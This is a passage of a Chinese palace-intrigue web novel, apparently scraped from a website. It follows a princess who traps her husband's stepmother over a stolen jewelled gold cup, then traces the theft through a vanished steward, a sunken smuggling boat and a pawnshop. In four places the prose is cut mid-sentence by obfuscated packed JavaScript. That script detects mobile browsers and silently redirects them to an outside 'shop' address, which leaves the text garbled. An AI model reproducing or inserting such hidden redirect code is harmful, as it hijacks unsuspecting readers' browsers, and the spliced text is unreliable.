“千真万确!”郑氏满脸疼惜之色,“那宝石金盏乃无价之宝,竟踢来踢去的!耳目还汇报说,这样的宝贝,公主里嫁妆里多的是!很多都没有登记造册,这公主对嫁妆更是半点不关心,听说她的侍女有时连私库的门都忘了锁呢!” 齐氏缓缓起身,在屋内逡巡片刻,眉宇间升起一抹烦躁之色。近来魏州水陆运输都查得紧,走私进项大减,可各处打点、维护齐家势力的开销却一项不能少,她早已捉襟见肘。 几息后,齐氏站定,转头朝郑氏道,“去召周府库来,咱们且试试那位公主,若她果真是个对嫁妆心里没数的蠢货,那这批‘无主’的横财,合该来解老身燃眉之急!” 翌日,周延再度来沐云馆,这次是为了一批石料和花木的款子。 甄女史翻开单子瞧瞧,只见单子上写的花木品种甚为名贵,石料也是一顶一的好货,价钱都不低,但她前日见到运送过来的都是些普通货色? 甄女史抬眸瞧了周延一眼,只见对方正坦然的看着她。 甄女史垂下眼,这款子绝对有问题,然而殿下早就下了命令,周府库提款一律照批,她可不敢阻拦。 于是她笑笑,盖了自己的印,递给周延,“劳周府库跑一趟,银钱一会儿便差人送去。” 周延尚未接过单子,便来了个侍女,对二人躬身行礼后,随随便便就把一个对牌放到了甄女史桌上,“女史,奴婢来交对牌了。” 甄女史略瞥了眼对牌,点点头,就放那侍女走了,竟不派人去私库里核查东西是否真的归还。 周延将这一切尽收眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17070826|195215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底,笑着与甄女史道了别,在侯府里左绕右绕,最终进了敬晖堂…… 这日惠风和畅,卫瀛坐在东湖畔的亭里,边喝着茶水,边瞧着新院子一砖一瓦的建设。 玉扇帮着她摇扇,疑惑道,“公主,此处嘈杂吵闹,又尘土飞扬的,您何必日日来看修建进展呢,在沐云馆等着就好呀。” 卫瀛没做答,只是放下茶盏,瞧了眼亭外的路,这条路没什么景色,但却是家臣往返流觞榭或议政堂的必经之路。 不一会儿,便有家臣三三两两自议政堂方向过来,想来是今日议事结束,正各自散去。途径亭子前面,都按规矩驻足朝卫瀛施礼,而后再离开。 这时候,远处来了个身形清瘦的文官,步履滞涩,面露一丝郁色,与这和煦天色有些格格不入。 玉扇低声道,“公主,那不是方大人么?” 卫瀛笑了一声,心道终于把他等来了! 方鸿绪瞧见亭中的公主,敛去郁色,走近恭敬行礼。 卫瀛派侍女请他到亭中小坐。 进了亭中,卫瀛不似那次京畿相见时的高傲,而是很和善的准许方鸿绪落座。 方鸿绪神色间有些尴尬,毕竟他仍是戴罪之身,到了魏州却堂而皇之的成了家臣,魏侯此举明显违逆景元帝的旨意。 卫瀛却率先提及此事,笑道,“本宫嫁到魏州前,父皇还曾私下提及方大人呢!本宫瞧着,父皇的气已经消了。” 方鸿绪面上露出一丝希冀,“那陛下是要赦免臣和亲族吗?” 卫瀛笑意略淡了些,“方大人,父皇是天子,一言九鼎。” 方鸿绪脸上那抹希望散去,却听卫瀛又说道,“再说,父皇不是已经准许方大人携家眷来魏州了么?” 方鸿绪略带不解的看看卫瀛。 卫瀛笑道,“父皇曾和本宫讲,他已私底下交代了魏侯,让他‘妥善安置’方大人,本宫瞧着,魏侯安置的不错。” 方鸿绪缓缓点头,“原来如此。” 卫瀛心里冷笑,不论储况和方鸿绪说了什么,反正自己一口咬定父皇早有口谕,谁能和父皇去对峙呢! 她轻飘飘一句话,就把储况的‘雪中送炭’变成了‘锦上添花’,这恩情的分量可是大打折扣啊。 卫瀛懂得见好就收,转而道,“本宫之前听说,那府库令周延是你兄弟呢,想不到这么巧。” 方鸿绪只道,“周府库正是愚弟。” 卫瀛见他谈及周延,口气似乎并不亲近,便试探道,“不知方大人如今在魏州安置的如何啊?哦对了,可以暂时借住在周府库那里,再慢慢挑宅子也无妨。” 方鸿绪摇摇头,“主公给臣安排了间宅子,至于愚弟那里,臣与他自幼相隔两地,不甚亲近。” “哦。”卫瀛心下了然,又道,“听周府库说,方大人如今在魏州官拜督曹,您为人刚正,想来假以时日,定能在魏州有番造就。” 她面上笑着,心里却叹,储况果真手腕非凡,他让初来乍到、性格耿直的方鸿绪做监察百官的督曹,分明是想把方鸿绪变成他的一把刀。 听了卫瀛的话,方鸿绪只笑笑,拱拱手,“借殿下吉言。” 卫瀛见他笑意不及眼底,便知魏州水深浪急,他这个督曹孤立无援,储况对他还没有完全信任,暂时不会真的做他的靠山,可见日子不好过呢。 她却笑意渐浓,方鸿绪日子越难过,越有可能投入她麾下! 但,不能急于一时。 卫瀛又与他略谈了几句话,便让他告退了。 片刻后,便有个奴婢到玉扇身侧轻声说了几句话,玉扇面色一亮。 玉扇随即凑到卫瀛面前,压抑不住兴奋的说道,“公主,甄女史派人禀报说,那宝石金盏,不翼而飞啦!” 卫瀛拿着茶盏的手一顿,眼底冷光乍起。 好啊,她的大鱼,终于咬钩了! 11. 第 11 章 玉扇面色难掩激动,跃跃欲试道,“公主,咱们是不是现在就去……” 却听卫瀛老神在在的道,“不急,传话给甄女史,叫她切莫声张,这几日先装作不知道。” “为什么?”玉扇蹙眉,一脸困惑,“不尽快出手,更待何时啊?” 卫瀛撩起茶盏盖子,轻轻啜饮一口,眼珠瞟着玉扇,狡黠一笑,“过几日,不就是太夫人寿宴了么。” 玉扇一愣,两息后面上涌起狂喜之色,拍手道,“奴婢明白!” 几日后,正值齐氏太夫人寿辰,魏侯设宴给嫡母贺寿,家臣悉数前来。 寿宴设在魏侯府邸前堂,此处铺陈摆设均古朴端庄,不见半点奢靡之态。 宴席间都是魏州菜色,精而不滥,穿梭席间侍奉的奴婢各个衣着简朴,杯盘也都是寻常做工。 至于丝竹乐舞,就更没有了。 齐氏在上首,举杯敬众人,“各位爱卿都是我魏州栋梁之材,今日赴宴贺寿,老身感念于心,只是老身不喜铺张,还望各位不要嫌弃。” 相邦贺衍之作为百官之首,起身回道,“太夫人说笑了,魏州先祖蒙太祖皇帝分封后,在山林之间,开山劈水,筚路蓝缕,才挣下了这份基业,如今又怎敢贪图享受呢?” 齐氏略颔首,举杯饮尽,众位家臣也回敬一杯。 卫瀛冷眼瞧着,好啊,齐氏分明是在讥讽她之前的宴会奢华无度,在家臣们前面给她上眼药呢。 “太夫人,”卫瀛开口道,“今日来贺寿,本宫备了些薄礼,希望太夫人能喜欢。” 说着,一拍手,侍从便抬着数不清的玉石摆件、首饰头面和各色绫罗绸缎进来,一一放到宴席中央,灯火下,那些珍宝珠光熠熠,点亮了整个宴席。 卫瀛勾唇瞧着齐氏,我倒要看看,你装了半天勤俭,这些礼物到底收不收。 齐氏目光淡淡,在那些珍宝上一扫而过,轻笑一声,“殿下,老身一大把年纪了,这些首饰衣料虽美,但都用不上了,那些摆件也都是好东西,可老身那敬晖堂粗陋,这些东西摆在那儿,无异于明珠蒙尘啊。” 话锋一转,“不如赐给各位家臣吧!” 卫瀛心底一哂,啧,齐氏不愧在权力场上淫浸了半辈子,不但继续伪装,还玩了一手借花献佛,用她的东西去笼络人心! “不可,”卫瀛脸微微一扬,“在京畿时,母后时常教导本宫必须赏罚分明,若平白无故就能得丰厚赏赐,日后立了功,太夫人又该赏赐些什么?再者,若不论平庸还是杰出,人人都可得赏,岂不是伤了有才之人的心?” 齐氏笑意一凝,唇瓣微抿,这丫头前些日子宴请家臣时挥金如土,赏赐如流水一般,今日自己不过想送个顺水人情,这丫头竟揪住她的话不放,这般咄咄逼人,还抬出姜后来压她。 可转念再一细想,那日宴席上,这丫头的赏赐虽豪横,但确实件件都师出有名……哼,倒会使小聪明。 齐氏默了片刻,转而道,“今日说到底,是魏州君臣同乐的一场私宴,众位爱卿为魏州辛劳多年,殿下何必较真呢?” 卫瀛笑了两声,手臂一扬,长袖如流云般漫过桌案,“若这样说,天下人皆是父皇母后的子民,谁人不为父皇母后辛劳多年,又何必赏罚分明呢!” 齐氏面色一暗,眸光顿时警觉起来,这丫头好伶俐的一张嘴!当真是个万事不上心的蠢货么?!她与身侧的郑傅母交换了个眼色,心底升起一抹不详的预感。 卫瀛微微侧脸,“魏侯,不如这样吧,本宫把这些东西交给你了,日后若哪位爱卿立了功劳,你看着赏赐便是!” 储况端详着她,含笑应下。 此时,卫瀛又道,“太夫人寿宴,本宫该好好敬您一杯。” 便吩咐侍女去取父皇亲赐的宝石金盏过来。 郑傅母倒吸一口气,神色惊变,忙低下头遮掩,袖底的手却已攥得发白。 侍女领命去取酒盏,许久不见回来。 卫瀛等得不耐烦,派人去催了下,那侍女才一路跌跌撞撞的返回宴席上,一脸惊惶,刚抖着唇要开口,却又偷偷瞄了眼满座贵人。 “怎么空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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方鸿绪领命后,便对储况和齐氏施礼道,“殿下失窃之物乃御赐珍宝,为免侯府人心浮动、流言四起,波及主公及太夫人清誉,臣恳请对府内各处逐一巡查,以正视听。” 齐氏略抿唇,没有言语。 储况道:“可。” 当天晚些时候,方鸿绪就带人将侯府仆从统统拘在一处,郑傅母闻讯赶来,看着满院子拘押的下人,笑道,“方督曹辛苦了,侯府下人众多,逐一盘查耗时费力,太夫人遣老奴来协助方大人。” 方鸿绪略扯唇角,算是笑了下,“太夫人的关怀,臣感念在心,但主公已将此案交给臣等办理,实不敢有一分怠慢,凡事还需臣亲力亲为,也好向主公复命。” 郑氏笑意略淡,只得掉身回了敬晖堂。 方鸿绪便开始亲自通宵逐一盘查,因为事先已经言明要‘各处’巡查,所以他连齐氏的敬晖堂和储况的居所烟霭阁都不放过。他还将可能接触过金盏的人列出了名单,派人一一搜查他们居所。 甄女史首当其冲,但她来自京畿内廷,侍奉天家多年,不愿让方鸿绪的人把她当做贼一般抄捡。 方鸿绪到甄女史面前,一拱手,沉声道:“女史,御赐之物失窃,事关国体君威,按大启律,查案不避勋贵、不论亲疏,方某今日抄捡,实属无奈,绝非有意冒犯,还望见谅。” 甄女史也无话可说,只得让开一步,放他的人进了门。 卫瀛瞧着方鸿绪半点不留情面的做派,才算彻底见识了他刚直不弯的脾气,怪不得在京畿惹恼了父皇,还在朝中树敌颇多。 侯府里抄捡了两三日,始终不见金盏踪影。周延便对方鸿绪说,“那宝石金盏太惹眼,窃贼势必极其小心,兄长你且查着,我去另辟蹊径看看!” 说完,他就一头扎进公主私库,手里拿着嫁妆册子,和库里的东西一一比对,带着几个手下不眠不休的盘点了三天三夜,很快又查出来一大堆失窃之物。他将这些失窃之物仔细捋了一遍,挑出其中带有内廷印记的器物,和宝石金盏一并列为追查对象。 一切果然如周延所料,那宝石金盏并没有留下什么像样的线索,盘查搜捡了七八日后,倒是几件周延新发现的失窃之物有了进展。 线索直指侯府家老徐昌。徐昌祖上三代都在侯府做事,颇有脸面,他身为家老,总领侯府诸事,地位超然,齐氏也常称呼他为‘徐翁’,以示亲近。 府里有个花匠作证说,见过徐家老夜里往盆栽的土里埋东西,花匠好奇就趁他走后挖开一看,发现是粗布包着的一尊金镶玛瑙佛像,吓得花匠忙又埋了回去,转日徐家老就吩咐替换掉那些盆栽,都送出了府。 而那尊佛像,正是周延查到的失窃物之一。 但侯府下人却说已经好几日没看见徐家老了,方鸿绪只得去敬晖堂拜见太夫人询问此事。 齐氏听后一脸惊诧,“徐翁?他几日前便和老身告了假,说是家中有事要办……” 她身后,一个侍女微微抬起脸,视线来回在方鸿绪和齐氏身上逡巡,目光和方鸿绪刚一对上,她就忙垂下了眼。 方鸿绪注意到她,暗中打算过会儿私下询问,却不想郑氏此刻开口道,“采菱,你方才盯着方大人做什么?有什么话直说便是。” 采菱上前,怯怯的道,“奴婢之前听说,那家老的儿子常常流连襄平城的几个赌坊,欠了大把的赌债,这事儿府里知道的人不少,只是碍于徐家老身份,没人敢说……” 郑氏眉心拧做一团,“哎呀,难不成是为了还儿子的债,就把手伸到了公主嫁妆那儿!?亏了他在侯府大半辈子,竟做出这等辱没侯府的事来!” 齐氏也是面色一变,“若真是如此……唉,方督曹还请转告殿下,老身定会给殿下交代的!” 方鸿绪瞧着她主仆三人,正色道,“太夫人且慢,捉贼需要人赃并获,徐家老眼下不知所踪,金盏更是下落不明,如何治罪?太夫人还是稍安勿躁,容下官细细追查。” 齐氏幽幽的呼了口气,“督曹…言之有理,老身关心则乱,一切就有劳督曹了。” 说罢,与郑氏一起目送方鸿绪离开。 “太夫人,这京畿来的方督曹……不懂魏州的规矩啊。”郑氏在旁阴恻恻的讲道。 齐氏微微一笑,“多碰几次钉子,就懂了。” 转头对采菱道,“这丫头机灵,去领赏吧。” 采菱笑着谢恩,方才怯懦神态消失殆尽…… 因徐家在侯府之外、襄平最为繁华的秋江坊,方鸿绪只得请示卫瀛。 卫瀛听后,立即召来崔朔,点了三百亲卫,亲自乘车赶赴徐家。 到了徐家门前,崔朔一声令下,一批亲卫便将院落团团围住,另一批将徐家人悉数控制起来,待一切妥当,卫瀛才下了马车,缓步进了大门。 卫瀛在正厅一看,徐家上至徐老太翁,下至不满周岁的小儿,加起来二十几口人都还在,唯独少了家主徐昌一人。 留下方鸿绪盘查徐家众人,卫瀛转头去了徐昌卧房,命侍女将柜门、箱奁一一打开,只见一年四季衣衫满满当当,箱底还翻出来不少银钱。 崔朔跟在卫瀛身后,只见卫瀛轻轻一松手,箱奁盖子碰的合上,“这里的情况,本宫明白了。” 此时方鸿绪也赶来禀告,“殿下,徐家人皆称不知道徐昌下落,可要将他们带走审问?” “不必,”卫瀛转身道,“这里不值得浪费功夫了,回去吧,本宫有要事需要找魏侯。” 方鸿绪面上掠过一丝疑惑,待卫瀛抬步离开,他却进了徐昌卧房,视线细细扫过那仍未关上的衣柜和箱奁,脸上疑惑之色渐渐消去,缓缓的点了点头,转身立即跟上。 在回侯府的马车上,烟素眉心紧锁,对卫瀛说道:“殿下,方才出门前,那郑傅母不是一口咬定是徐家老偷窃吗?难不成,齐氏早已给了徐昌一笔好处,让他代为顶罪,远走高飞了?” 卫瀛一声冷笑,“哼,只有顶罪是真!” 顿了顿,一瞥烟素,“若要远走高飞,怎么留下那么多秋冬衣衫和银钱?更何况还弃一家老小性命于不顾,依本宫看,那徐昌已经被灭口了。” 烟素面色一沉,“齐氏实在是狠毒…” 卫瀛冷笑一声:“徐昌一死,所有线索道到他这里就断了。齐氏这是在告诉本宫,她可以随时牺牲掉任何一枚棋子,这也是在警告侯府里所有知情的人:‘闭嘴,否则徐家老就是你们的下场!’。” “最重要的是,她挑的时机多好啊,偏偏是查到线索的徐家老,偏偏比本宫早几天。她在侯府,可真是耳目遍地啊!” 卫瀛撩起车帘瞧了瞧外面,唇边勾起一抹冰冷笑意,“这样就想吓唬本宫?做梦!且看本宫,如何把她的命门一点点捏进手心吧!” 马车缓缓停在侯府门前,卫瀛下车站定,却见魏侯正带着两个亲随从门内出来,一身常服外罩鹤氅,不知要去做什么。 “魏侯!巧了,本宫正要去找你呢。”卫瀛道。 储况脚步微顿,行至她面前施礼,“殿下辛苦,听闻殿下查到徐家老与金盏失窃有关?” “不错,”卫瀛道,“可惜,徐家老和那金盏一样,不知所踪了。” 储况语气不急不缓,“臣可派人在魏州各处官道设卡、再细细搜查驿站,帮殿下找到此人。” 卫瀛冷笑一声,“阴曹地府,魏侯也能派人去搜吗?” 储况眼帘一掀,略作凝重之色,“殿下的意思是,那徐家老已经被灭口?” “本宫可没这样说,”卫瀛慢条斯理的道,“魏侯怎么就认定他是被灭口了?没准儿是分赃不均,被同伙害死了,也有可能是畏罪自杀呢!哪里说的清。” 储况敛目,沉默一息,仿佛在咀嚼她话里的机锋,“…殿下所言极是。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17070828|195215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“但,”卫瀛话锋一转,“本宫确实要请魏侯下令,在魏州各处官道设卡,搜查来往商贾,并且派人搜查码头、驿馆。” 储况略带笑意的看着卫瀛,“殿下是打算调转方向,去搜金盏的下落吧?” “不错,”卫瀛点头,“既然侯府这边线索断了,就应该换个思路,本宫要翻遍魏州人流聚集、货物往来频繁之处,不信金盏还能飞了不成!” 储况随即对身边亲随吩咐,让赵将军带兵去搜查各地货运枢纽。 却听卫瀛道,“至于襄平城,不如让方督曹带上你之前拨给本宫的那几百亲卫,即日起就去搜查,魏侯觉得如何?” 储况听后眸光微凝,含笑审视着卫瀛。魏州权贵多聚集在襄平,赵将军未必能秉公搜查,唯有方鸿绪这个京畿来的孤臣,才能放开手脚去做。 卫瀛让方鸿绪搜查襄平,而储况任命方鸿绪做魏州督曹、监察百官,这两人的思路,活脱脱一个模子刻出来的。 “…一切都按殿下安排。”储况微微颔首。 方鸿绪领命,立即告退。 卫瀛见公事谈完,也不再和储况客套什么,“好了,魏侯去忙吧,本宫也还有事要去办。” 说完,她就派人去叫周延,交代好在襄平城最大的茶楼汇合。 而后回身打算再度上车,崔朔在她身侧躬身伸出手臂,卫瀛一扶对方手臂,稳稳的上了车,锦缎的袖片拂过甲胄,只发出一声细响,风过柳梢一般。 马车尚未动,却听储况笑道,“这位便是崔统领吧。” 崔朔闻言,转身朝储况施礼,视线便对上了一双沉静的眸子。 储况神色和煦,“不必多礼,这些日子殿下追查金盏失窃一案,十分辛苦,还好有崔统领在一旁帮衬,况在此谢过崔统领。” 卫瀛在车里听着,崔朔是她的亲卫统领,这些客套话原本轮不到魏侯一个外臣来说,但如今两人名义上已经是夫妻,所以现在储况这样说,不仅没什么毛病,还显得他为夫人安抚部下,十分体贴周到。 卫瀛没有说什么,反正崔朔忠心可鉴,不是储况三言两语就能拉拢的。 车外,崔朔静默了两息,储况只浅笑着看着他,目光却似是不经意地扫过崔朔方才搀扶卫瀛的那条手臂。 “…魏侯客气了。”崔朔垂下眼帘,随即翻身上马,车里卫瀛淡淡的道了句‘走吧’,车轮辚辚而动。 储况带着亲随朝另一个方向离开,鹤氅下的手,无意识的轻轻揉搓指腹。 心里暗叹:一把好刀,可惜,刀柄死死攥在别人手里,而且绝不可能归顺我,日后恐于我大不利。 秋江坊是襄平城繁华最胜之处,商贾辐辏,百货骈阗。 周延匆忙乘车赶到卫瀛指定的茶楼,还没坐下喝口茶,卫瀛就命他说出几个襄平最大商号的名字、各自贩卖什么货品。 周延眼睛一转,“殿下,您是打算从这些商号入手,去查金盏的下落?” “对,若流转得快,说不定销赃已经到了最后一步了,金盏价值连城,特征明显,寻常销赃渠道绝不敢接手,能消化这等极品货色的,唯有襄平城顶尖的几家大商号。” “殿下英明!”周延眸子一亮,思绪飞快,转眼便献策道:“这些大商号手眼通天,仓库里不知藏了多少见不得光的宝贝。依臣之见,当以‘稽查违禁、搜寻御赐之物’为名,直接派兵把他们的仓库搜个底朝天,势必一击即中!” 卫瀛看着他,“周府库,敢把手伸到金盏上的人,销赃渠道为保证万无一失,势必层层掩护、狡兔三窟,岂会把赃物存放在正规商铺的库里?” 周延神色一滞,“殿下的意思是搜不出来什么?那为何还要臣去查这些大商号?那还要不要搜?” “搜,当然要搜!”卫瀛笑了笑,“本宫要你大张旗鼓的去搜,但是,最该留意的,却不是他们仓库里的东西……” 13. 第 13 章 周延面露不解,“不是仓库里的东西?那臣该留意什么?” 卫瀛安静的倒了一杯茶,慢条斯理的饮毕,而后抬眸望着他,目光意味深长。 周延略一眯眼,“殿下的意思是……要臣留意他们的举动?看看谁心里有鬼!” 卫瀛赞许的一笑。 周延摩拳擦掌,“臣,领命!” 立即告退,快步离开了茶楼…… 数日后,襄平磨山码头。 数十个魏军士卒乘船到了码头不远的一处水域,轮番下水去打捞一搜沉船的残骸。 方鸿绪目光焦灼的在岸上等候。 他排查了大半个襄平城,前日终于在这个磨山码头发现了些端倪。此处常有些夜间靠岸的船,装卸货也很少用照明,一切都在黑暗里静悄悄的进行,行迹十分可疑,装卸的货物绝对不简单。 当天夜里,方鸿绪就带人蹲守在码头岸边的芦苇荡里,月黑星稀,水面黑暗沉寂,直到后半夜,船头的破浪声由远及近,才打破死一般的平静。 只待船只靠岸,方鸿绪便可以命手下大举出动,将对方的人和货物统统控制住。 不料,就在那艘船距离码头不到两里地的时候,船头昏暗的灯忽的彻底熄了,随即左右摇晃,很快整艘船沉入了水底…… 方鸿绪派人打捞了两日,只捞上来些船板、桅杆、绳索,不仅没见到船夫遗体,甚至连一个货箱也没有找到。想来船上的人肯定是得到了消息,在距离码头较远的地方就将货物全都扔进了水里。 至于船夫们……怕是凶多吉少。 “督曹大人!”一个士卒顾不得擦浑身的水,奔至方鸿绪面前,“卑职捞到了一份凭证,您看可有用处?” 方鸿绪小心接过,用袖子轻轻蘸走水珠,虽然被浸泡了些时间,但上面字迹仍依稀可辨——永泰当铺。 是一张当票。 方鸿绪:“确定是沉船上的东西么?” “卑职确定,”那魏军道,“卑职水性好,就潜进了各个船舱查看,翻了下柜子,在里面找到的。” “船舱里可有其他东西?”方鸿绪问道。 那士卒摇摇头,“卑职大致扫了眼,到处空荡荡的,抽屉柜门都大敞遥开的,只找到这张纸,一角卡在了抽屉缝里。” 方鸿绪点点头,将当票细细收好,拍拍对方肩头,“好样的,记你一功!” 说罢,方鸿绪顾不得乘车,直接命亲随牵过一匹良驹,翻身上马,扬鞭而去。 襄平州府决曹司。 方鸿绪在门前下马,快步走入正堂,两侧胥吏埋首于堆积如山的文书之中,唯闻卷宗翻动与官吏低语之声,一派冷肃之气。 方鸿绪直奔最深处——司直刘文亭的桌案前。 “刘司直。”方鸿绪施礼道,“下官近日稽查公主御赐之物失窃一案,查到一处当铺大有可疑之处,还请司直开具文书,下令搜查!” 说着,将那当票呈上。 “这么快就有进展了?”刘文亭接过那当票后,眸色一暗,拧眉细思道,“要本官下搜查文书不难,但方督曹需得说明下,眼下有什么确凿证据?” 方鸿绪便将那磨山码头夜间停船、摸黑装卸和船只倾覆的经过一一道出。 刘文亭听后,捋须思忖片刻,呵呵一笑,“方督曹,恕刘某直言,这夜间停泊装货,也说明不了什么,再者魏州磨山周边水深,船只倾覆也不少见,将这些联系起来,推定此间当铺有走私嫌疑,实属牵强啊。” “夜间靠岸、摸黑装卸,定然是为了掩人耳目,至于倾覆,绝非寻常事故,下官亲眼所见,那夜无风无浪,怎么会无故翻船?”方鸿绪据理力争,“即便…这些都是巧合,为何不见船夫尸首?那满船的货物又去了哪里?” 刘文亭略显不耐,“船夫也许都游上岸了,码头岸边地势复杂,没看见几个人上岸也正常,至于货物嘛,兴许本来就是空船靠岸……” “…刘司直,”方鸿绪道,“若一切都如您所言,不觉得都太过巧合了么?” “怎么,方督曹觉得本官说的不对?”刘文亭敛去神色,板起官腔道,“按魏州律法,稽查民间商铺,需得有铁证在手,否则便是滋扰民生。” 顿了顿,抬眸瞟了一眼方鸿绪,“这里和京畿,哼,可大不相同啊。” 方鸿绪刚欲开口,刘文亭却扶着桌案起身,“本官还有要事需出去奔波,恕不久陪了,方督曹与其在这里牵强附会,不如抓紧去搜集些铁证来吧!” 说罢,便命人送客…… 魏侯府邸,沐云馆。 卫瀛午后正在小憩,侍女通报说周府库求见,不待她起身梳洗,方鸿绪也赶来了。 “正好,”卫瀛朝侍女道,“一并见吧。” 花厅里,周延瞧着兄长沉郁面色,不问便知调查进展不顺,索性没有开口。 片刻后婢女掀起珠帘,两人起身施礼,卫瀛行至上座,吩咐侍女给二人上茶。 周延:“殿下,臣等来禀报窃案之事。” 卫瀛一使眼色,玉扇便将婢女悉数屏退。 “臣这几日查遍了各大商号,”周延一一道来,“泰顺昌、乾合泰这两家,一听说牵涉大案,东家忙赶来把仓库钥匙交了出来,稽查仓库后没什么问题。” “瑞惠祥、景和轩的人,要么摆着笑脸打太极,要么说东家出远门了,最后也都不情不愿的让臣查了仓库,发现了些以次充好的劣等货品,这两家想来也无碍。” “只有永晟昌这家商号,掌柜的虽也是副笑脸,但态度却不软和,说想要搜查可以,但得拿出州府的搜查文书来,臣自然没有文书,对方便说他们只认文书,臣在前面和他们周旋,暗中遣人在这家商铺周围盯梢,发现有伙计从后门偷偷出去,到了襄平城西边一家不起眼的当铺去了……” 方鸿绪面色一动,“那当铺名字,是不是叫永泰?” “正是!”周延转头看向对方,“怎么,兄长也查到了这家?” 方鸿绪便将他这些日子的调查所见悉数禀报给了卫瀛。 卫瀛瞧着呈上来的那张当票,纸张发皱,墨色晕染,但仍旧能辨认出字迹。 指尖在那‘永泰’二字上轻轻一点,“二位爱卿做的都很好,襄平其他的商号都不必再细查了,线索就在永晟昌和它背后的这家当铺上……” 说罢,莞尔一笑,“周府库这几日辛苦了,不如先回去休整几日。” 周延眸子一转,明白卫瀛这是有话要单独和方鸿绪讲,便躬身告退。 待周延离开,卫瀛转而对方鸿绪道:“方督曹,还需劳烦你继续追查,范围扩大些,把磨山码头临近的几个码头统统派人蹲守,不必担心打草惊蛇,不论查到些什么都去刘司直那边要文书去。” 方鸿绪眉间沟壑深深,郁色难掩,“可殿下,臣即便又有了什么新线索,到了刘司直那里,依然拿不到文书啊!” “方督曹,”卫瀛笑笑,“谁说本宫一定要你拿到文书了?” 方鸿绪略一愣,“殿下的意思是……” “案子查到现在,这背后的水有多深,方督曹想必也感受到了吧?” 方鸿绪沉吟片刻,点点头,“此案背后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17070829|195215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,牵涉颇广,远非金盏失窃这么简单。” “那便是了,方督曹只管明面上继续追查,不要停下,他们就会一直疲于应付你。” 方鸿绪一听,便知卫瀛另有安排,命他继续追查不过是明修栈道、暗度陈仓,他越是查得声势浩大,越能吸引注意力,方便卫瀛的其他安排。他不由凝眸望望对方,想不到,一个久居深宫的娇纵公主,竟有这等手段。 当初承阳殿前一番水德之论,他知道这个公主绝不简单,今日再看,才知那日不过是冰山一角罢了。 随即起身,拱手施礼,“…殿下英明,臣知道该怎么做了。” 卫瀛含蓄一笑,目送方鸿绪离开,一招手,吩咐侍女去召见亲卫统领崔朔。 既然明路走不通,她就该动用暗线了…… 亲卫戍所距离魏侯府邸尚有一段路程,崔朔最快也需要小半个时辰才能到。 午后晴阳正好,卫瀛便信步去了沐云馆的池塘边,坐在亭中,随手拿起一块盘里的糕饼,细细掰碎喂鱼。 锦鲤聚拢过来,大口吞着糕饼,有的鱼明明一口也没吃上,嘴巴却仍是一开一合,那副憨态逗得卫瀛轻轻一笑。 这时,身后响起不急不缓的脚步声,轻盈却沉稳,卫瀛听声辨认出来人不是侍女,回头一看,储况一袭天青色锦袍,正立在亭边台阶下。 池水波光粼粼,映在卫瀛笑意尚未褪尽的面上,那一身烟粉宫裙,繁复华丽,裙尾飞瀑一般从美人靠上倾泻在地,比这满池荷花还要鲜妍娇艳。 “魏侯怎么来了?”卫瀛将最后一点糕饼统统扔进水里,用丝帕擦了擦手。 储况抬步进了亭子,行礼后道:“臣贸然打扰殿下,自然是为了窃案之事。” 卫瀛见他敛目立在亭中,神态恭谨,俨然一副恪守本分的臣子模样。 两人如今是挂名夫妻,虽然在外依旧得讲究尊卑礼法,可私下若也这般疏离,实则对她的筹谋不利。 卫瀛便柔声笑道,“魏侯不必多礼,坐吧。” 但这亭中只有半圈三段绕水的美人靠,卫瀛独坐中间一段,其余两段距离似乎有些远了,储况便行至卫瀛一旁,与她比邻而坐,天青袍袖轻轻垂落,略微与烟粉袖片交叠。 卫瀛略有些意外,但也只是往后错了错身,半边烟粉悄然抽离。 储况神色如常,仿佛没有察觉对方的小动作,说道:“赵将军搜查了魏州几座大城的水路枢纽,只查出几件私贩盐铁的零星案子,并未查到金盏的下落。” 卫瀛不由腹诽,那你来汇报什么? 储况似乎看出卫瀛所思所想,转而一笑,“臣自知属下无能,让殿下笑话了,已再三督促,不敢怠慢。” “然臣今日前来,为的是另一件与搜查相关的事。” 说完,他唇瓣微抿,眉梢眼角的细微表情似乎都对着镜子精心计算过,面上是一派恰到好处的忧虑和无奈。 卫瀛懒得看他作态,“什么事?但说无妨。” 